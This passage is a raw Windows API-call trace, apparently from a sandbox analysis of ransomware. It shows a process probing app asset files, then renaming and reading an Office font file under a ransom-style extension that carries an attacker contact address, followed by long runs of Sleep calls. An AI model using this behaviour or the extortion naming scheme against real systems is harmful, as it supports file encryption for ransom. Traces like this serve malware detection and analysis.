pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png") returned 1 [0274.380] GetProcessHeap () returned 0x630000 [0274.380] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb4) returned 0x6fe3bb0 [0274.380] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.382] Sleep (dwMilliseconds=0x1) [0274.398] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png", len=0x85 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png") returned 1 [0274.398] GetProcessHeap () returned 0x630000 [0274.398] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0274.398] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.400] Sleep (dwMilliseconds=0x1) [0274.428] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png") returned 1 [0274.428] GetProcessHeap () returned 0x630000 [0274.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0274.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.430] Sleep (dwMilliseconds=0x1) [0274.451] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png", len=0x95 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png") returned 1 [0274.451] GetProcessHeap () returned 0x630000 [0274.452] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c98) returned 0x6fe3bb0 [0274.452] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.453] Sleep (dwMilliseconds=0x1) [0274.457] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png", len=0x95 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png") returned 1 [0274.457] GetProcessHeap () returned 0x630000 [0274.457] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c94) returned 0x6fe3bb0 [0274.457] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.458] Sleep (dwMilliseconds=0x1) [0274.474] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png") returned 1 [0274.474] GetProcessHeap () returned 0x630000 [0274.474] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c88) returned 0x6fe3bb0 [0274.474] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.476] Sleep (dwMilliseconds=0x1) [0274.488] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png", len=0x88 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png") returned 1 [0274.488] GetProcessHeap () returned 0x630000 [0274.488] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c84) returned 0x6fe3bb0 [0274.488] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedlargetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.490] Sleep (dwMilliseconds=0x1) [0274.505] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png") returned 1 [0274.505] GetProcessHeap () returned 0x630000 [0274.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0274.505] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedapplist.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.507] Sleep (dwMilliseconds=0x1) [0274.519] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", len=0x70 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0274.519] GetProcessHeap () returned 0x630000 [0274.519] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c74) returned 0x6fe3bb0 [0274.519] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.520] Sleep (dwMilliseconds=0x1) [0274.538] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x82 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0274.538] GetProcessHeap () returned 0x630000 [0274.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c68) returned 0x6fe3bb0 [0274.539] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.541] Sleep (dwMilliseconds=0x1) [0274.550] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0274.550] GetProcessHeap () returned 0x630000 [0274.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0274.551] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.551] Sleep (dwMilliseconds=0x1) [0276.407] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF", len=0x45 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF") returned 1 [0276.407] GetProcessHeap () returned 0x630000 [0276.407] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ad8) returned 0x6fe3bb0 [0276.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perbi___.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0276.408] CloseHandle (hObject=0x710) returned 1 [0276.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0276.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perbi___.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perbi___.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0276.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0276.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERBI___.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PERBI_~1.FIR")) returned 0x6d5500 [0276.409] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0276.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERBI___.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\perbi___.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0276.482] GetProcessHeap () returned 0x630000 [0276.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74cbb20 [0276.482] GetProcessHeap () returned 0x630000 [0276.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74d6f50 [0276.482] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0276.482] ReadFile (in: hFile=0x710, lpBuffer=0x74cbb20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74cbb20*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 47 os_tid = 0xcec [0067.421] Sleep (dwMilliseconds=0x1) [0067.431] Sleep (dwMilliseconds=0x1) [0067.442] Sleep (dwMilliseconds=0x1) [0067.459] Sleep (dwMilliseconds=0x1) [0067.476] Sleep (dwMilliseconds=0x1) [0067.491] Sleep (dwMilliseconds=0x1) [0067.514] Sleep (dwMilliseconds=0x1) [0067.522] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.801] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.605] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.081] Sleep (dwMilliseconds=0x1) [0074.187] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.673] Sleep (dwMilliseconds=0x1) [0074.769] Sleep (dwMilliseconds=0x1) [0074.851] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.303] Sleep (dwMilliseconds=0x1) [0075.363] Sleep (dwMilliseconds=0x1) [0075.426] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.805] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.868] Sleep (dwMilliseconds=0x1) [0076.924] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.218] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.356] Sleep (dwMilliseconds=0x1) [0077.416] Sleep (dwMilliseconds=0x1) [0077.517] Sleep (dwMilliseconds=0x1) [0077.601] Sleep (dwMilliseconds=0x1) [0077.645] Sleep (dwMilliseconds=0x1) [0077.692] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.829] Sleep (dwMilliseconds=0x1) [0077.860] Sleep (dwMilliseconds=0x1) [0077.908] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0077.999] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.888] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.053] Sleep (dwMilliseconds=0x1) [0079.076] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.113] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.228] Sleep (dwMilliseconds=0x1) [0079.246] Sleep (dwMilliseconds=0x1) [0079.273] Sleep (dwMilliseconds=0x1) [0079.283] Sleep (dwMilliseconds=0x1) [0079.304] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.344] Sleep (dwMilliseconds=0x1) [0079.365] Sleep (dwMilliseconds=0x1) [0079.374] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.427] Sleep (dwMilliseconds=0x1) [0079.443] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.536] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.942] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.052] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.088] Sleep (dwMilliseconds=0x1) [0080.096] Sleep (dwMilliseconds=0x1) [0080.140] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.445] Sleep (dwMilliseconds=0x1) [0080.499] Sleep (dwMilliseconds=0x1) [0080.530] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.707] Sleep (dwMilliseconds=0x1) [0080.719] Sleep (dwMilliseconds=0x1) [0080.769] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.554] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep 